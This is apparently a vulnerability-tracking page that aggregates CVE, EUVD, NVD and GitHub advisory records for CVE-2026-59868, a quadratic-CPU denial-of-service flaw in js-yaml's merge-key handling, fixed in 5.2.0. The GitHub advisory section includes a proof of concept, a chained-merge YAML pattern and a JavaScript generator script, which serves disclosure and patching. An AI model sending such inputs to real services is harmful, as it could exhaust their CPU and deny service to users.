js-yaml: YAML merge-key chains can force quadratic CPU consumption
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-59868
Publishedjs-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.
- Source published
- 8 Jul 2026 15:18:19 UTC
- Source modified
- 9 Jul 2026 13:42:54 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
euvd · EUVD-2026-42302
Publishedjs-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 8, 2026, 3:18:19 PM
dateUpdated: Jul 9, 2026, 1:42:54 PM
9 related source bulletins · separate from aliases
RHSA-2026:7655: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-2950 · CVE-2026-45149 · CVE-2026-45736 · CVE-2026-59868 · CVE-2026-59870
RHSA-2026:34478: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
CVE-2026-13149 · CVE-2026-48619 · CVE-2026-48928 · CVE-2026-48930 · CVE-2026-48934 · CVE-2026-48935 · CVE-2026-48936 · CVE-2026-59868 · CVE-2026-59870
RHSA-2026:35272: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-13149 · CVE-2026-48619 · CVE-2026-48928 · CVE-2026-48930 · CVE-2026-48934 · CVE-2026-48935 · CVE-2026-48936 · CVE-2026-59868 · CVE-2026-59870
RHSA-2026:34975: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-8286 · CVE-2026-8458 · CVE-2026-8924 · CVE-2026-8925 · CVE-2026-8926 · CVE-2026-8927 · CVE-2026-8932 · CVE-2026-9079 · CVE-2026-9080 · CVE-2026-9546 · CVE-2026-9547 · CVE-2026-11352 · CVE-2026-11564 · CVE-2026-11586 · CVE-2026-11856 · CVE-2026-12064 · CVE-2026-14683 · CVE-2026-14684 · CVE-2026-14685 · CVE-2026-14686 · CVE-2026-15187 · CVE-2026-38969 · CVE-2026-59868 · CVE-2026-59870
RHSA-2026:61783: Red Hat Security Advisory: A Subscription Management tool for finding and reporting Red Hat product usage
CVE-2024-29180 · CVE-2026-1965 · CVE-2026-3783 · CVE-2026-5704 · CVE-2026-6322 · CVE-2026-6653 · CVE-2026-8286 · CVE-2026-9547 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-11979 · CVE-2026-14164 · CVE-2026-15588 · CVE-2026-18477 · CVE-2026-18508 · CVE-2026-41991 · CVE-2026-41992 · CVE-2026-45409 · CVE-2026-45623 · CVE-2026-54284 · CVE-2026-54371 · CVE-2026-56434 · CVE-2026-58010 · CVE-2026-58011 · CVE-2026-58012 · CVE-2026-58013 · CVE-2026-58014 · CVE-2026-58015 · CVE-2026-58055 · CVE-2026-59868 · CVE-2026-59869 · CVE-2026-59893 · CVE-2026-60005 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-71491 · CVE-2026-73643 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76844
RHSA-2026:26994: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-45491 · CVE-2026-45591 · CVE-2026-45736 · CVE-2026-59724 · CVE-2026-59868 · CVE-2026-59870
RHSA-2026:33866: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
CVE-2026-13149 · CVE-2026-48619 · CVE-2026-48928 · CVE-2026-48930 · CVE-2026-48934 · CVE-2026-48935 · CVE-2026-48936 · CVE-2026-53550 · CVE-2026-59868 · CVE-2026-59870
RHSA-2026:9455: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-2950 · CVE-2026-8723 · CVE-2026-45149 · CVE-2026-48615 · CVE-2026-48618 · CVE-2026-48619 · CVE-2026-48928 · CVE-2026-48930 · CVE-2026-48933 · CVE-2026-48934 · CVE-2026-48935 · CVE-2026-48936 · CVE-2026-59868 · CVE-2026-59870
RHSA-2026:7378: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2025-55130 · CVE-2025-55131 · CVE-2025-55132 · CVE-2025-59464 · CVE-2026-2950 · CVE-2026-6734 · CVE-2026-9675 · CVE-2026-9678 · CVE-2026-9697 · CVE-2026-45149 · CVE-2026-48615 · CVE-2026-48618 · CVE-2026-48619 · CVE-2026-48928 · CVE-2026-48930 · CVE-2026-48933 · CVE-2026-48934 · CVE-2026-48935 · CVE-2026-48936 · CVE-2026-59868 · CVE-2026-59870
- Source published
- Jul 8, 2026, 3:18:19 PM (timezone not stated)
- Source modified
- Jul 9, 2026, 1:42:54 PM (timezone not stated)
- Observed here
- 7 Nov 2026 13:25:46 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
nvd · CVE-2026-59868
Publishedjs-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-407 · CWE-770
Original publisher date fields
published: 2026-07-08T16:16:33.270
lastModified: 2026-10-25T20:10:00.147
1 source CPE criteria · context only
- cpe:2.3:a:nodeca:js-yaml:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 8 Jul 2026 16:16:33 UTC
- Source modified
- 25 Oct 2026 20:10:00 UTC
- Observed here
- 27 Oct 2026 15:15:33 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-g796-fgmg-93mv
Published### Impact This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default When merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
- Source published
- 20 Jul 2026 21:19:27 UTC
- Source modified
- 20 Jul 2026 21:30:38 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Publisher rating · MODERATE